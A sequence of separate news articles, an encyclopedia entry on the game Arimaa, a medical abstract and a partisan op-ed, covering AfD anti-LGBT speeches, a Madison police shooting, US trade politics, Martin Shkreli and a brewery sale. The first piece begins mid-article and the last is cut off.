Welsch etwa Volker Beck als "Krebsgeschwür der Schwulenbewegung in Deutschland". Sie überbietet sogar noch die LGBT-feindlichen Töne der offiziellen Parteivertreter. Die AfD-Homos bieten sich hier nicht nur als Feigenblatt an – Vorwürfe, die AfD sei homophob, konterte Welsch in seinem Vortrag lediglich mit Verweisen auf Homophobie bei Marx, Engels oder Fidel Castro. Sondern sie treiben die homophobe Politik auf die Spitze.  So setzte sich Welsch auf dem Bundesparteitag vor wenigen Wochen, bei dem es mehrere LGBT-feindliche Positionen in das neue Grundsatzprogramm schafften, für einen schärfer formulierten Antrag gegen die "Propagierung der Homo- und Transsexualität" im Unterricht und für die Streichung aller Antidiskriminierungsgesetze ein (queer.de berichtete). "Gender Mainstreaming" sei "Dreck" und "sozialer Wohlstandsmüll", meinte er dazu über das Saalmikrofon.  Auch in Nürnberg beklagte Welsch eine "Frühsexualisierung" durch Bildungspläne, die nur Pädophilen nützten. Welsch log sich da die Realität noch mehr zurecht als die "Demo für alle" oder Birgit Kelle: Was habe es mit der Erziehung zu Toleranz zu tun, fragte er, wenn Kinder in Kindergärten lernten, "sich gegenseitig den Finger in den Popo (zu) stecken?"  Als "Homosexuelle in der AfD" sei man zudem die einzige Homo-Organisation, die "Ja zur traditionellen Familie als Keimzelle der Gesellschaft" sage. Jede "gesunde Gesellschaft" lebe davon, dass ein Kind bei Vater und Mutter aufwachse. "Und wenn ich mir dann anschaue, wie im Rahmen von Gender Mainstreaming Vater und Mutter abgeschafft werden sollen, zu Elter 1 und Elter 2, oder wenn ich sehe, dass man auf Facebook inzwischen aus 70 verschiedenen Geschlechtsvariationen auswählen kann: ( ) Das ist doch nicht mehr normal. Auf was lassen wir die zukünftigen Generationen los? Wie wollen wir eine zukünftsfähige Gesellschaft sein, wenn wir beginnen, eine solch spätrömische Dekadenz zu entwickeln?"  Mit einem Einsatz für mehr LGBT-Rechte fiel Welsch in Nürnberg nicht auf. Im Gegenteil kritisierte er eine "Marktschreier-Mentalität" bei schwul-lesbischen Organisationen: Ständig werde Neues gefordert, "ohne zu fragen, ob wir Homosexuelle das wollen". Die Bevölkerung sollte stattdessen die Gelegenheit bekommen, sich an einen "Status Quo" zu gewöhnen.  Ein Kampf auf der Seite von Kuby & Co.  Während Welsch in der Meistersingerhalle den pöbelnden Haudegen der "Homosexuellen in der AfD" gab, versuchte sich der andere Bundesvorsitzende, der Bremer Bürgerschaftsabgeordnete Alexander Tassis, an einem intellektuellen Überbau. So lehnte er "Gender Mainstreaming", wie auch Multikulturalismus, ab "Konstruktivismus" ab.  Freilich sind es die Gegner von LGBT-Rechten, die da überhaupt erst etwas konstruiert haben: Unter die Schlagworte "Gender Mainstreaming" und "Gender-Ideologie" vermischen sie erst die unterschiedlichsten Bereiche und Akteure von Frauen-Emanzipation, LGBT-Rechten, Wissenschaft und Philosophie zu einem großen Ganzen. Dieses umfassende und sich ständig weiter entwickelnde Narrativ geht zurück auf das Buch "Die globale sexuelle Revolution" der fundamentalistischen Theologin Gabriele Kuby, das von "Demo für alle", "Besorgten Eltern" oder Birgit Kelle ebenso als Anleitung zum Kampf genutzt wird wie von christlichen und kirchlichen Kreisen und rechtsextremen bis konservativen Parteien.  Tassis, der das wissen müsste, kämpfte in Nürnberg selbst auf populistischer Front gegen angeblich "widerwärtigen, perversen Dreck" und "verschmutzte Quellen" in Lehrplänen und gegen den "Gender-Krimskrams": Alle Gender-Professuren seien aufzulösen, forderte er etwa. Das sei möglich, schließlich habe man nach 1945 auch alle Rassen-Lehrstühle aufgelöst. "Ich möchte das Gender Mainstreaming mit solchen Wahnideen des Nationalsozialismus explizit vergleichen. Es ist keine Wissenschaft, es ist Humbug, es ist Konstruktivismus und dient völlig anderen Zwecken."  Die AfD sei eine Partei, "die alle, auch Schwule und Lesben, vor Sexualisierung durch Pornographie und Prostitution schützt", so Tassis. Homophobie sei in Deutschland kaum noch ein Problem, wichtiger seien "mutige Mütter und Väter, die sich wieder öffentlich zu ihrer Ehe und zu ihrer Familie bekennen". Die traditionelle Familie stelle aus "natürlicher Sicht eine einzigartige und hervorgehobene Harmonie" dar, die priviligert werden müsse.  Die AfD sei aus Gegnersicht keine Gefahr, weil sie homophob sei – "das sind vorgeschobene Dinge" – sondern weil sie "die erste nationalkonservative Partei ist, die wieder glaubwürdig einen Patriotismus für alle Menschen" biete, "egal ob sie homosexuell oder transsexuell oder eben gewissermaßen normal veranlagt sind", sagte Tassis. Die Nation und der Volksgedanke seien eine ewige Konstante der Menschheit wie die Familie aus Vater, Mutter und Kindern.  Der Männerbund als Gegenmodell zur aktuellen LGBT-Bewegung  In Abgrenzung zur aktuellen LGBT-Politik ("Es ist eine Schande, was die Linken aus unserer Homosexuellenbewegung gemacht haben") entwickelte Tassis in seiner Rede eine Gesellschaftsutopie basierend auf dem "Wertekanon" im Deutschland des 16. bis 19. Jahrhundert. Die erste Homosexuellenbewegung sei eine "deutsche Leistung" gewesen, im Rahmen der "deutschen Denkleistungen" wie der Reformation. Er empfahl Basilius von Ramdohrs (1757-1822) Roman "Venus Urania" über das Liebesleben der Menschen für den Unterricht, als Teil "der deutschen Kultur".  Als Karl Heinrich Ulrichs 1867 beim Juristentag eine rechtliche Anerkennung homosexueller Partnerschaften forderte, sei er "danach nicht gesteinigt worden und auch nicht vom Hochhaus geschubst worden", so Tassis. Ulrichs sei ein "großer Deutscher", ein "großer Patriot" gewesen. Man müsse "stolz" sein auf die "nationalkonservativen Denker" jener Zeit.  Tassis ignoriert freilich, dass der vermeintliche Patriot Ulrichs Deutschland entnervt von einer zunehmenden Repression gegenüber Homosexuellen den Rücken kehrte und ins Exil ging.  Während Tassis auf Magnus Hirschfeld und sein Schicksal nicht einging, bemühte er als Beispiel für die großen deutschen Denker einer homosexuellen Emanzipation noch dessen Zeitgenossen Hans Blüher. Er fasste ihn so zusammen, dass der Sinn von Homosexuellen sei, Heterosexuellen den Wert des christlichen Familienbildes und des Kinderkriegens bewusster zu machen.  Was Tassis bei diesem zurückgenommenen Plädoyer für eine Duldung nicht sagte: Blüher, "Wandervogel"-Chronist und Idealist eines homosexuell angehauchten, staatslenkenden Männerbundes, war Antisemit, Antifeminist und antidemokratisch-elitärer Adelsanhänger. Ein Volk werde nur durch einen Führer zum Volk, schrieb dieser "Denker" 1918. Nach dem Krieg hielt er fest, dass er dem Nationalsozialismus als "konservative Revolution" zunächst wohlwollend gegenübergestanden habe, diese Haltung aber nach der Ermordung des "freien Männerhelden" Röhms und der danach einsetzenden Homosexuellenverfolgung änderte. Hitler habe sich damit "gegen den deutschen Adel und die Oberschicht und für den Neandertaler und seine Provokateure" entschieden.  In Nürnberg, der Stadt der Reichsparteitage, ist man weniger geschichtsvergessen als Tassis. Die jährliche Demo zum Internationalen Tag gegen Homo- und Transphobie am 17. Mai führte traditionell entlang der Gedenkstätten der Stadt. Am Dienstag ging sie weiter bis zur AfD-Veranstaltung in der Meistersingerhalle; wenige Meter davon entfernt erinnert ein Dokumentationszentrum an die Reden und Massenaufmärsche der Nationalsozialisten auf dem ehemaligen Parteitagsgelände und an ihre Folgen.
-MADISON, Wis. (Reuters) - Close to 2,000 students marched in Wisconsin’s capital on Monday to protest the fatal police shooting of an unarmed biracial teenager, while his family demanded justice and the police chief apologized.  Candles are piled in the snow outside the home of Tony Robinson Jr. during a candlelight vigil on Williamson Street in Madison, Wisconsin March 8, 2015. REUTERS/Ben Brewer  Students crowded into the rotunda of the state Capitol in the morning, chanting and waving signs to protest the death of Tony Robinson, 19, shot on Friday by a white police officer.  Later, Turin Carter, Robinson’s uncle, said his family was calling for a thorough investigation and was concerned about the “systematic targeting of young black males,” but did not endorse blanket anti-police sentiments.  “We are not proponents of anti-police (attitudes)... We understand that law enforcement is necessary and mandatory and we need to change our mindset about the police,” Carter said at a news conference outside the house where Robinson was shot.  Standing near a memorial of candles and balloons, Carter said it was simplistic to call Robinson African American, saying he had a mixed heritage and his racial ambiguity was a central issue in his life.  Police shootings across the country have intensified concerns of racial bias in law enforcement.  Many teenagers at the morning protests were from Robinson’s alma mater, Sun Prairie High School.  “There is an indifference between people and police. We all need to come together,” said Ali Asafford, 15, after leaving class at Madison’s East High School. The march was orderly and police presence was minimal.  Officer Matt Kenny, the 12-year police veteran who shot Robinson, is on paid administrative leave while the Wisconsin Department of Justice investigates the shooting. In 2007, Kenny was involved in a fatal shooting that was found to be justified.  Police Chief Michael Koval apologized on Monday after praying with Robinson’s grandmother over the weekend and pledging transparency in the investigation.  “Reconciliation cannot begin without my stating ‘I am sorry,’ and I don’t think I can say this enough. I am sorry. I hope that, with time, Tony’s family and friends can search their hearts to render some measure of forgiveness,” Koval wrote in his blog.  Attorney General Brad Schimel asked the public to be patient with the investigation, saying his office would not be able to disclose details since it could taint testimony from witnesses.  Official efforts to be transparent, apologetic and light-handed with protesters followed months of heightened attention to police use of deadly force across the United States.  Last year, the police shooting death of black teenager Michael Brown in Ferguson, Missouri, set off weeks of protests that sometimes turned violent. Police reaction was criticized as heavy-handed, and critics were outraged at the long delay in releasing the name of the officer who shot Brown.  Madison, a city of 240,000 people about 80 miles (130 km) west of Milwaukee, has a mostly white population. The city is 7 percent African-American, U.S. Census figures show.  On Friday night, Kenny, 45, responded to reports of an assault and a man dodging cars in traffic. Kenny followed the suspect into a dwelling. Koval said the officer was struck in the head and then shot the unarmed teen.  Last year, Robinson pleaded guilty to armed robbery, and was placed on probation. Sentencing documents show it was his first brush with the law, and he was not the armed person in the group that committed the robbery.  Concern about Wisconsin’s own history of police use of deadly force prompted passage of a law last year requiring independent investigators to probe such incidents. The bill had support from police associations.  The head of the local NAACP chapter said the Madison police department did not engage in the sort of racial targeting that the U.S. Justice Department found prevalent in Ferguson.  “I have observed what I think is a very effective community policing structure, and I think it makes a difference,” said Greg Jones, president of the Dane County chapter of the advocacy group.
-Not to be confused with ARIMA  Arimaa () (ə-REE-mə) is a two-player strategy board game that was designed to be playable with a standard chess set and difficult for computers while still being easy to learn and fun to play for humans. Since 2004, the Arimaa community has held three annual tournaments: a World Championship (humans only), a Computer Championship (computers only), and the Arimaa Challenge (human vs. computer). In 2015, the challenge was won decisively by the computer (Sharp by David Wu), with top players agreeing that computers had become better at the game than humans.[1] As it was a prerequisite for the prize to be awarded, Wu published a paper describing the algorithm and most of ICGA Journal Issue 38/1 was dedicated to this topic.[2] The algorithm combined traditional alpha–beta pruning (changing sides every 4 ply) with heuristic functions manually written while analysing human expert games.[3]  Arimaa was invented in 2003 by Omar Syed,[4] an Indian-American computer engineer trained in artificial intelligence. Syed was inspired by Garry Kasparov's defeat at the hands of the chess computer Deep Blue to design a new game which could be played with a standard chess set, would be difficult for computers to play well, but would have rules simple enough for his then four-year-old son Aamir to understand.[5] ("Arimaa" is "Aamir" spelled backwards plus an initial "a".)  Arimaa has won several awards including GAMES Magazine 2011 Best Abstract Strategy Game,[6] Creative Child Magazine 2010 Strategy Game of the Year,[7] and the 2010 Parents' Choice Approved Award.[8] It has also been the subject of several research papers.  Rules [ edit ]  Arimaa is played on an 8×8 board with four trap squares. There are six kinds of pieces, ranging from elephant (strongest) to rabbit (weakest). Stronger pieces can push or pull weaker pieces, and stronger pieces freeze weaker pieces. Pieces can be captured by dislodging them onto a trap square when they have no orthogonally adjacent friendly pieces.  The two players, Gold and Silver, each control sixteen pieces. These are, in order from strongest to weakest: one elephant ( ), one camel ( ), two horses ( ), two dogs ( ), two cats ( ), and eight rabbits ( ). These may be represented by the king, queen, rooks, bishops, knights, and pawns respectively when one plays using a chess set.[9]  Diagram 1  The players begin by setting up their pieces however they choose on their home rows.  Objective [ edit ]  The main object of the game is to move a rabbit of one's own color onto the home rank of the opponent, which is known as a goal. Thus Gold wins by moving a gold rabbit to the eighth rank, and Silver wins by moving a silver rabbit to the first rank. However, because it is difficult to usher a rabbit to the goal line while the board is full of pieces, an intermediate objective is to capture opposing pieces by pushing or pulling them into the trap squares.  The game can also be won by capturing all of the opponent's rabbits (elimination) or by depriving the opponent of legal moves (immobilization). Compared to goal, these are uncommon.  Setup [ edit ]  The game begins with an empty board. Gold places the sixteen gold pieces in any configuration on the first and second ranks. Silver then places the sixteen silver pieces in any configuration on the seventh and eighth ranks. Diagram 1 shows one possible initial placement.  Diagram 2  In the diagrammed position, if it were Gold's turn to move, Gold could win in three steps: The dog on a6 can push the rabbit on a7 to a8, thereby unfreezing the rabbit on b7, which can step to b8 for the victory.  Movement [ edit ]  After the pieces are placed on the board, the players alternate turns, starting with Gold. A turn consists of making one to four steps. With each step a piece may move into an unoccupied square one space left, right, forward, or backward, except that rabbits may not step backward. The steps of a turn may be made by a single piece or distributed among several pieces in any order.  A turn must make a net change to the position. Thus one cannot, for example, take one step forward and one step back with the same piece, effectively passing the turn and evading zugzwang. Furthermore, one's turn may not create the same position with the same player to move as has been created twice before. This rule is similar to the situational super ko rule in the game of Go, which prevents endless loops, and is in contrast to chess where endless loops are considered draws. The prohibitions on passing and repetition make Arimaa a drawless game.  Pushing and pulling [ edit ]  The second diagram, from the same game as the initial position above,[10] helps illustrate the remaining rules of movement.  A player may use two consecutive steps of a turn to dislodge an opposing piece with a stronger friendly piece which is adjacent in one of the four cardinal directions. For example, a player's dog may dislodge an opposing rabbit or cat, but not a dog, horse, camel, or elephant. The stronger piece may pull or push the adjacent weaker piece. When pulling, the stronger piece steps into an empty square, and the square it came from is occupied by the weaker piece. The silver elephant on d5 could step to d4 (or c5 or e5) and pull the gold horse from d6 to d5. When pushing, the weaker piece is moved to an adjacent empty square, and the square it came from is occupied by the stronger piece. The gold elephant on d3 could push the silver rabbit on d2 to e2 and then occupy d2. Note that the rabbit on d2 can't be pushed to d1, c2, or d3, because those squares are not empty.  Friendly pieces may not be dislodged. Also, a piece may not push and pull simultaneously. For example, the gold elephant on d3 could not simultaneously push the silver rabbit on d2 to e2 and pull the silver rabbit from c3 to d3. An elephant can never be dislodged, since there is nothing stronger.  Freezing [ edit ]  A piece which is adjacent in any cardinal direction to a stronger opposing piece is frozen, unless it is also adjacent to a friendly piece. Frozen pieces may not be moved by the owner, but may be dislodged by the opponent. A frozen piece can freeze another still weaker piece. The silver rabbit on a7 is frozen, but the one on d2 is able to move because it is adjacent to a silver piece. Similarly the gold rabbit on b7 is frozen, but the gold cat on c1 is not. The dogs on a6 and b6 do not freeze each other because they are of equal strength. An elephant cannot be frozen, since there is nothing stronger, but an elephant can be blockaded.  Capturing [ edit ]  A piece which enters a trap square is captured and removed from the game unless there is a friendly piece orthogonally adjacent. Silver could move to capture the gold horse on d6 by pushing it to c6 with the elephant on d5. A piece on a trap square is captured when all adjacent friendly pieces move away. Thus if the silver rabbit on c4 and the silver horse on c2 move away, voluntarily or by being dislodged, the silver rabbit on c3 will be captured.  Note that a piece may voluntarily step into a trap square, even if it is thereby captured. Also, the second step of a pulling maneuver is completed even if the piece doing the pulling is captured on the first step. For example, Silver could step the silver rabbit from f4 to g4 (so that it will no longer support pieces at f3), and then step the silver horse from f2 to f3, which captures the horse; the horse's move could still pull the gold rabbit from f1 to f2.  Strategy and tactics [ edit ]  For beginning insights into good play, see the Arimaa Wikibook.  Karl Juhnke, twice Arimaa world champion,[11] has written a book titled Beginning Arimaa which gives an introduction to Arimaa tactics and strategies. Also Jean Daligault, six time Arimaa world champion,[11] wrote Arimaa Strategies and Tactics which is geared towards those who have started playing Arimaa and want to improve their game.  Annual tournaments [ edit ]  World Championship [ edit ]  Each year since 2004 the Arimaa community has held a World Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current world champion is Matthew Craven of the United States of America.[11] Past world champion title holders are:[11]  2004 – Frank Heinemann of Germany  2005 – Karl Juhnke of USA  2006 – Till Wiechers of Germany  2007 – Jean Daligault of France  2008 – Karl Juhnke of USA  2009 – Jean Daligault of France  2010 – Jean Daligault of France  2011 – Jean Daligault of France  2012 – Hirohumi Takahashi of Japan  2013 – Jean Daligault of France  2014 – Jean Daligault of France  2015 – Mathew Brown of USA  2016 – Mathew Brown of USA  2017 – Mathew Brown of USA  2018 – Matthew Craven of USA  World Computer Championship [ edit ]  Each year from 2004 to 2015 the Arimaa community held a World Computer Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current champion is bot_sharp developed by David Wu of the USA.[11] Past computer world champion title holders are:[11]  2004 – bot_Bomb developed by David Fotland of USA  2005 – bot_Bomb developed by David Fotland of USA  2006 – bot_Bomb developed by David Fotland of USA  2007 – bot_Bomb developed by David Fotland of USA  2008 – bot_Bomb developed by David Fotland of USA  2009 – bot_clueless developed by Jeff Bacher of Canada  2010 – bot_marwin developed by Mattias Hultgren of Sweden  2011 – bot_sharp developed by David Wu of USA  2012 – bot_marwin developed by Mattias Hultgren of Sweden  2013 – bot_ziltoid developed by Ricardo Barreira of Portugal  2014 – bot_sharp developed by David Wu of USA  2015 – bot_sharp developed by David Wu of USA  Arimaa Challenge [ edit ]  The Arimaa Challenge was a cash prize of around $10,000 that was to have been available annually until 2020 for the first computer program to win the human-versus-computer Arimaa challenge.[12] As part of the conditions of the prize, the computer program must run on standard, off-the-shelf hardware.[12]  The Arimaa Challenge has been held twelve times, starting in 2004. Following the third match, Syed changed the format to require the software to win two out of three games against each of three players, to reduce the psychological pressure on individual volunteer defenders. Also Syed called for outside sponsorship of the Arimaa Challenge to build a bigger prize fund.  Year Prize[a] Challenger / Developer Human Defender (Human Rank)[13][b] Result Notes 2004 $10,000 Bomb /  David Fotland Omar Syed (1) 0–8 Syed gave a rabbit handicap in the last game and won. 2005 $10,000 Bomb /  David Fotland Frank Heinemann (5) 1–7 No handicap games 2006 $17,500 Bomb /  David Fotland Karl Juhnke (1)  Greg Magne (2)  Paul Mertens (5) 0–3  0–3  1–2 Mertens gave a camel handicap in his last game and lost. 2007 $17,100 Bomb /  David Fotland Karl Juhnke (1)  Omar Syed (9)  Brendan M (12)  N Siddiqui (23) 0–3  0–3  0–2  1–0 Juhnke gave handicaps of a dog, a horse, and a camel respectively, and won all three. Syed gave a cat handicap in his last game and won. Siddiqui substituted for Brendan's third game. 2008 $17,000 Bomb /  David Fotland Jean Daligault (2)  Greg Magne (3)  Mark Mistretta (20)  Omar Syed (24) 0–3  0–3  0–1  0–2 No handicap games. Syed substituted for Mistretta's final two games. 2009 $16,500 Clueless /  Jeff Bacher Jean Daligault (1)  Karl Juhnke (2)  Jan Macura (14)  Omar Syed (18) 0–2  1–2  1–2  0–1 Juhnke gave a dog handicap in his second game and lost. Daligault gave a horse handicap in his last game and won. Syed substituted for Daligault's first game. 2010 $16,250 Marwin /  Mattias Hultgren Greg Magne (3)  Louis-Daniel Scott (10)  Patrick Dudek (23) 0–3  1–2  2–1 Scott gave a dog handicap in his second game and lost. 2011 $11,000 Marwin /  Mattias Hultgren Karl Juhnke (3)  Gregory Clark (7)  Toby Hudson (14) 1–2  0–3  0–3 Juhnke gave a cat handicap in his last game and lost. 2012 $11,150 Briareus /  Ricardo Barreira Jean Daligault (1)  Hirohumi Takahashi (2)  Eric Momsen (5) 0-3  0-3  3-0 Takahashi gave a cat handicap in his last game and won. 2013 $11,000 Marwin /  Mattias Hultgren Mathew Brown (4)  Greg Magne (6)  Matthew Craven (31) 0-3  0-3  1-2 Magne gave a cat handicap in his last game and won. Brown gave a horse handicap in his last game and won. 2014 $12,000 Ziltoid /  Ricardo Barreira Karl Juhnke (3)  Samuel Schüler (12)  Max Manual (73)[c] 0-3  1-2  1-2 No handicap games. 2015 $12,000 Sharp /  David Wu Mathew Brown (1)  Jean Daligault (4)  Lev Ruchka (13) 2-1  2-1  3-0 David Wu wins the Arimaa Challenge.  In the first five challenge cycles, David Fotland, programmer of Many Faces of Go, won the Arimaa Computer Championship and the right to play for the prize money, only to see his program beaten decisively each year. In 2009 Fotland's program was surpassed by several new programs in the same year, the strongest of which was Clueless by Jeff Bacher. Humanity's margin of dominance over computers appeared to widen each year from 2004 to 2008 as the best human players improved, but the 2009 Arimaa Challenge was more competitive. Clueless became the first bot to win two games of a Challenge match.  In 2010, Mattias Hultgren's bot Marwin edged out Clueless in the computer championship. In the Challenge match Marwin became the first bot to win two out of three games against a single human defender, and also the first bot to win three of the nine games overall. In 2011, however, Marwin won only one of the nine games, and that one having received a material handicap. In 2012 a new challenger, Briareus, became the first program to defeat a top-ten player, sweeping all three games from the fifth-ranked human. In 2013, however, the humans struck back against Marwin, with #4 and #6 each sweeping including a handicap win, and #31 winning two of three games. In 2014, the computer bounced back to win two games, albeit no matches.  In 2015, Sharp made a substantial leap in playing strength. After having scored 6-6 in twelve games against its top two computer rivals the previous year, Sharp went undefeated in the computer tournaments of 2015, including 13-0 against the second- and third-place finishers. Sharp dominated the pre-Challenge screening against human opponents, winning 27 of 29 games. In the Challenge itself, Sharp clinched victory in each of the three mini-matches by winning the first six games, finishing 7-2 overall and winning the Arimaa challenge.[12]  After DeepMind's AlphaZero mastered Go, Chess, and Shogi simply by playing itself, Omar Syed announced a $10,000 prize for the creation of such an Arimaa bot which could win a 10-game match against Sharp. This has not yet been done.[14]  Patent and trademark [ edit ]  US PAT No. 6,981,700 was filed on 3 October 2003, and granted on 3 January 2006. Omar Syed also holds a trademark on the name "Arimaa".  Syed has stated that he does not intend to restrict noncommercial use and has released a license called "The Arimaa Public License" with the declared intent to "make Arimaa as much of a public domain game as possible while still protecting its commercial usage". Items covered by the license are the patent and the trademark.  See also [ edit ]  Notes [ edit ]  ^ The history of prize fund pledges is as follows: In 2002 Omar Syed pledged $10,000 until 2020; Prior to 2006 Omar Syed pledged an additional $5,000 until 2010; Prior to 2006 Paul Mertens pledged $2,000 for 2006, $1,500 for 2007, $1,000 for 2008, $500 for 2009, and $250 for 2010; Prior to 2006 Karl Juhnke pledged $500 for 2006; Prior to 2007 Karl Juhnke pledged $600 for 2007; Prior to 2008 Karl Juhnke pledged $1,000 for 2008; Prior to 2009 Karl Juhnke pledged $1,000 for 2009; Prior to 2010 Karl Juhnke pledged $1,000 for 2010; Prior to 2011 Karl Juhnke pledged $1,000 for 2011 ^ The listed ranks include inactive players. Among active players only, the 2010 ranks were Magne(3), Scott(9), Dudek(16), the 2011 ranks were Juhnke(3), Clark(5), Hudson(10), the 2012 ranks were the same as listed, the 2013 ranks were Brown(3), Magne(5), Craven(17), the 2014 ranks were Juhnke(2), Schüler(10), and Manual(33), and the 2015 ranks were Daligault(3) and Ruchka(10). ^ Manual was an anti-computer specialist with too few games against human opponents for accurate ranking.  References [ edit ]  Further reading [ edit ]
-Abstract  Purpose:  We compared culture independent assessment of microbiota of the lower urinary tract in standard culture negative female patients with urological chronic pelvic pain syndrome who reported symptom flare vs those who did not report a flare.  Materials and Methods:  Initial stream (VB1) and midstream (VB2) urine specimens (233 patients with urological chronic pelvic pain syndrome) were analyzed with Ibis T-5000 Universal Biosensor system technology for comprehensive identification of microorganism species. Differences between flare and nonflare groups for presence or number of different species within a higher level group (richness) were examined by permutational multivariate analysis of variance and logistic regression.  Results:  Overall 81 species (35 genera) were detected in VB1 and 73 (33) in VB2. Mean (SD) VB1 and VB2 species count per person was 2.6 (1.5) and 2.4 (1.5) for 86 flare cases and 2.8 (1.3) and 2.5 (1.5) for 127 nonflare cases, respectively. Overall the species composition did not significantly differ between flare and nonflare cases at any level (p=0.14 species, p=0.95 genus in VB1 and VB2, respectively) in multivariate analysis for richness. Univariate analysis, unadjusted as well as adjusted, confirmed a significantly greater prevalence of fungi (Candida and Saccharomyces) in the flare group (15.7%) compared to the nonflare group in VB2 (3.9%) (p=0.01). When adjusted for antibiotic use and menstrual phase, women who reported a flare remained more likely to have fungi present in VB2 specimens (OR 8.3, CI 1.7–39.4).  Conclusions:  Among women with urological chronic pelvic pain syndrome the prevalence of fungi (Candida and Saccharomyces sp.) was significantly greater in those who reported a flare compared to those who did not.
-Sen. Elizabeth Warren is not backing down in her battle with President Barack Obama over the Trans-Pacific Partnership, a massive, 12-country trade deal that has divided the Democratic Party and triggered a volley of critical statements between the Massachusetts Democrat and the commander-in-chief.  ‘The history of these agreements betrays a harsh truth.’ Sen. Elizabeth Warren (D-MA)  “The history of these agreements betrays a harsh truth: that the actual enforcement of labor provisions of past U.S. [free trade agreements] lags far behind the promises,” the report claims. “This analysis by the staff of Sen. Warren reveals that despite decades of nearly identical promises, the United States repeatedly fails to enforce or adopts unenforceable labor standards in free trade agreements.”  RELATED: Democrats wage civil war over trade deal  I’ve joined @SenatorHeitkamp, @Sen_JoeManchin, & 12 other senators on an amdt: No Fast Track on any deal with ISDS: http://t.co/2wTmOt5oMh — Elizabeth Warren (@SenWarren) May 18, 2015 Broken Promises: Decades of Failure to Enforce Labor Standards in Free Trade Agreements,” takes the United States to task for consistently failing to enforce labor protections in its trade deals, and points to ongoing labor-related human rights abuses in 11 of the 20 countries with which the U.S. currently has free trade agreements. “The TPP is being hailed as the strongest free trade agreement yet. But this is not the first time this claim has been made,” the report concludes, seeking to undermine Obama’s claim that TPP would be “the most progressive trade bill in history.”  Obama, who is pushing Congress to approve so-called “fast-track” authorization for the trade deal, which he is still negotiating with 11 South American and Pacific Rim countries, has called liberal critics of the agreement “just wrong.”  “They’re making this stuff up,” Obama said earlier this month in response to Warren, who has said the TPP would make it easier for corporations to ship jobs abroad and could allow Wall Street to weaken provisions in the Dodd-Frank financial reform law. “This is just not true.”  RELATED: Obama on Elizabeth Warren: It’s not personal  The president later emphasized that his disagreement with Warren “has never been personal,” as the rift grows between pro-trade Democrats and the party’s progressive wing, threatening to spill out into the 2016 election. Hillary Clinton, the Democratic Party’s heir apparent to the presidential nomination, has avoided taking a stand either way on the trade issue as the intra-party conflagration continues.
-Turing Pharmaceuticals CEO Martin Shkreli (CBS/screen grab)  Turing Pharmaceuticals CEO Martin Shkreli accused Sen. Bernie Sanders (I-VT) of taking “cheap shots” against him while also challenging the Democratic presidential candidate to a debate, Attn reported.  Shkreli, who became known as “Pharma Bro” after being widely criticized for raising the price of the medication Daraprim from $13.50 a pill to $750 a pill last month, lashed out at Sanders through his Twitter account.  “It’s amazing to me that you, desiring to be the leader of our country, are so misinformed,” Shkreli wrote. “Let’s have a public debate on this.”  He also accused the senator of not understanding the healthcare industry, saying, “I hope he debates this topic with me instead of relying on soundbites and cheap shots.”  Shkreli’s tweets can be seen below.  @SenSanders It's amazing to me that you, desiring to be the leader of our country, are so misinformed. Let's have a public debate on this.  — Martin Shkreli (@MartinShkreli) October 9, 2015  Senator @BernieSanders doesn't understand healthcare. I hope he debates this topic with me instead of relying on soundbites and cheap shots. — Martin Shkreli (@MartinShkreli) October 9, 2015  The former hedge fund manager’s attack came after Sanders and Rep. Elijah Cummings (D-MD) contacted him on Sept. 21 asking for financial information about Turing Pharmaceuticals.  The two lawmakers later said in a statement that, after promising to lower the price of the drug in response to the public backlash, Shkreli “hired an army of new Washington lobbyists and lawyers to stem the massive fallout from his actions and to stymie congressional oversight.”  Shkreli fired back saying Sanders “should be ashamed” for attacking the industry, and later rejecting allegations that he raised the price of Daraprim out of greed.  “I don’t even own a car,” he wrote. “I don’t even have a driver’s license. Our company is not profitable. My salary is $0. I give millions to charity.”  Those tweets can be seen below.  Attacking the pharmaceutical industry that creates jobs and leads the world in advances in medical research–@SenSanders should be ashamed. — Martin Shkreli (@MartinShkreli) October 9, 2015
-How do you top making national news for bigotry? Trying getting people to "Give Up (Eating) Hamburgers to Stop Climate Change."  For loony lefty syndicated columnist David Sirota, it's all just another day at the office. Sirota made national news for his bizarre and bigoted hope that the Boston bomber would turn out to be "a white American."  Fresh off that fiasco, Sirota has turned his sights to changing the climate by changing America's diet. According to Sirota's May 2 column, "the fastest way to reduce climate change" simply "requires us all to eat fewer animal products." In case that wasn't sufficiently clear, he added that "we are incinerating the planet and dooming future generations simply because too many of us like to eat cheeseburgers." Sirota's article on the left-wing site Salon included a photo of what appeared to be a bacon cheeseburger with an egg on top of it.  "That's right; essentially, if every fourth time someone craved, say, beef, chicken or cow milk they instead opted for a veggie burger, a bean burrito or water, we have a chance to halt the emergency," he added.  But Sirota wasn't optimistic that conservatives would join him in his veggie crusade. "I'm sure some conservatives will read this column and send me email smugly pledging to eat even more meat than they already do, just to make some incoherent point about freedom." Somehow "freedom" is always incoherent to the left. No matter. We either stop eating what we want or we are endangering what Sirota called our "ecological survival."  The left has been making what we eat their business for years, but it has escalated under the leadership of First Lady Michelle Obama and New York Nanny State Mayor Michael Bloomberg. With extreme groups like the Center for Science in the Public Interest and Food Democracy Now, that trend has accelerated. Liberals have targeted a wide variety of foods and drinks, portion size, menu information, what's in the food, what restaurants can serve and where they can even be located.  See more "Right Views, Right Now."
-MillerCoors, one of the world’s largest brewing companies, announced Thursday plans to buy a controlling share of San Diego’s Saint Archer Brewery.  The sale, expected to close within 30 days, is a milestone in the local craft beer industry: The first time an international corporation has bought a local brewery.  “This was about partnering with someone who can help us keep growing and brewing more great beer,” said Josh Landan, Saint Archer’s co-founder and president. “From the start, our number one goal was to get Saint Archer to the most people possible.”  View the photo gallery: MillerCoors buys St. Archer  The sale price was not revealed, although Landan said that Saint Archer’s employees and investors will have equity in the new venture. The entire staff of roughly 50 people, including a brewing team led by Kim Lutz and Yiga Miyashiro, will remain intact.  “All the beers are going to stay the same,” Landan said. “It’s really business as usual.”  Yet the deal represents a significant change to the local beer marketplace. Now in its third year, Saint Archer is a mid-sized operation that will sell an estimated 35,000 barrels of beer this year — far behind Stone and Ballast Point, the county’s largest breweries, each of which is poised to sell about 300,000 barrels in 2015.  Yet MillerCoors’ craft beer division, Tenth and Blake, has ambitious plans for Saint Archer.  “With this brand, Josh has aspirations to take it beyond California and to be a national brand,” said Scott Whitley, president of Tenth and Blake. “We think it has that potential, and we want to do it.”  Unlike many founders of San Diego breweries, Landan is not a homebrewer. The Sacramento native is a filmmaker whose documentaries — “Flow,” “Against the Grain,” “Me Myself and I” — focus on 